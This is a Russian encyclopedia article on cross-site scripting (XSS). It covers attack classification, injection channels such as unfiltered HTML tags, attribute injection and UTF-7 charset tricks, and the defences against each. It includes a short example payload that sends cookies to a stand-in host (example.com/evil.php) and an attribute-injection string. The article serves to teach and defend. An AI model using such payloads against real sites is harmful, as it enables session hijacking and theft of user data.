- Межсайтовый скриптинг
-
XSS (англ. Сross Site Sсriрting — «межсайтовый скриптинг») — тип атаки на уязвимые интерактивные информационные системы в вебе. XSS применяется, когда в генерируемые сервером страницы возможно внедрить клиентские скрипты, но не только. Специфика подобных атак заключается в том, что для атаки на сервер в качестве средства атаки обычно используется авторизованный на этом сервере клиент.
Для термина используют сокращение «XSS», чтобы не было путаницы с каскадными таблицами стилей, использующих сокращение «CSS».
Из статистических данных на 2012 год XSS составляют 26 % и занимают первое место среди остальных уязвимостей[1]. Долгое время программисты не уделяли им должного внимания, считая их неопасными. Однако это мнение ошибочно: на странице или в HTTP-Cookie могут быть весьма уязвимые данные (например, идентификатор сессии администратора). На популярном сайте скрипт может устроить DoS-атакy.
Содержание
Классификация
В этом разделе не хватает ссылок на источники информации. Информация должна быть проверяема, иначе она может быть поставлена под сомнение и удалена.
Вы можете отредактировать эту статью, добавив ссылки на авторитетные источники.
Эта отметка установлена 12 мая 2011.XSS принято классифицировать по двум критериям: вектору и способу воздействия.
Векторы
По вектору воздействия XSS делится на отраженную (возвращаемую сервером в ответ на тот же запрос, в котором был передан вектор эксплуатации), устойчивую (сохраняемую на сервере и доступную во всех ответах на один и тот же запрос, не содержащий вектор эксплуатации) и основанную на объектной модели документа (проведение которой возможно без отправки каких-либо запросов на сервер).
Способы воздействия
Различают активный и пассивный способ воздействия. Активной является XSS, не требующая каких-либо лишних действий со стороны пользователя с точки зрения функционала веб-приложения. Пассивные XSS подразумевают, что для их срабатывания требуется некое дополнительное действие, которое должен выполнить браузер жертвы (например, клик по специально сформированной ссылке).
По каналам внедрения скрипта
Отсутствие фильтрации HTML-тегов в сообщениях пользователей
Некоторые форумы позволяют пользователю использовать HTML-теги для форматирования текста. Если отсутствует должный уровень фильтрации, злонамеренный пользователь может вставить такие теги
<script>
, которые будут отправлять злоумышленнику HTTP-Cookie пользователей, открывших некоторую тему форума, или незаметно открывать произвольную ссылку в контексте браузера пользователя.Подробнее:
- Злоумышленник, пользуясь имеющимися на сайте средствами наподобие «отправить комментарий», посылает комментарий, содержащий тег
<script>
. - Написанный злоумышленником скрипт имеет доступ к пользовательским HTTP-Cookie. Скрипт ворует их, отправляя их на другой сайт (например, создав тег
<img src="http://example.com/evil.php?cookie=1234">
).
Для защиты от этого вида атак следует удалить все теги, кроме входящих в разрешённый список.
Отсутствие фильтрации атрибутов и их значений в разрешённых тегах
Данная уязвимость, в отличие от предыдущей, не специфична для html-форматирования сообщений пользователя. Наиболее ярким примером её является тег
img
. Например: подставив в качестве URL изображенияhttp://example.com/img.png" onmouseover="javascript:DoSomething();
, мы «протаскиваем» в тег пользовательский скрипт. В частности, подобная уязвимость была обнаружена в известном форумном движке phpBB в 2002 году.[2][3]Не являются XSS, но не менее вредны и другие атаки: хакер может указать в качестве адреса сервер, имеющий узкий интернет-канал, парализуя его работу большим количеством запросов, или устроить с его помощью XSRF-атаку.
Для защиты от уязвимостей данного типа требуется жёсткая фильтрация как названий атрибутов, так и их значений. Также следует запретить использование протоколов
javascript:
иdata:
во всех ссылках.Такой же способ может быть использован путем вставки на странице изображения, сделанного через PHP-файл, содержащий как само изображение, так и вредоносный код.
Подмена кодировки в заголовке страницы
Современные браузеры пытаются определить кодировку страницы на ходу и интерпретируют html в соответствии с этой кодировкой. В случае, если тег
<title>
расположен до тега<meta>
и заполняется пользовательскими данными, хакер может вставить злонамеренный html-код в кодировке UTF-7, обойдя таким образом фильтрацию таких символов, как<
и"
.[4][5]Для защиты от данной уязвимости следует явно указывать кодировку страницы до каких-либо пользовательских полей.
Прочие
Возможно использование XSS атаки совместно с внедрением SQL-кода.
См. также
- CSRF
Ссылки
Примечания
- ↑ По данным securitylab.ru график, страница
- ↑ National Vulnerability Database (NVD) National Vulnerability Database (CVE-2002-0902) (англ.)
- ↑ Bugtraq: Cross Site Scripting Vulnerability in phpBB2’s [IMG] tag and remote avatar (англ.)
- ↑ http://old.antichat.ru/txt/utf7/ (недоступная ссылка с 11-07-11 (523 дня))
- ↑ UTF-7 XSS Cheat Sheet (англ.)
Категория:- Уязвимости защиты
- Злоумышленник, пользуясь имеющимися на сайте средствами наподобие «отправить комментарий», посылает комментарий, содержащий тег
Wikimedia Foundation. 2010.